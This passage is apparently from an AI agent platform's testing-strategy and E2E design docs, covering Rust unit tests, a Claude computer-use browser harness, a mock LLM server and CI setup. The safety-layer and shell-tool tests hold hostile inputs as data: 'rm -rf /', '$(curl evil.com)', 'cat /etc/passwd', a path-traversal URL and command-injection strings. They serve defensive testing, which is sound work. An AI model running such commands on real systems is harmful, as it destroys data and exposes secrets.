- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -0,0 +1,354 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
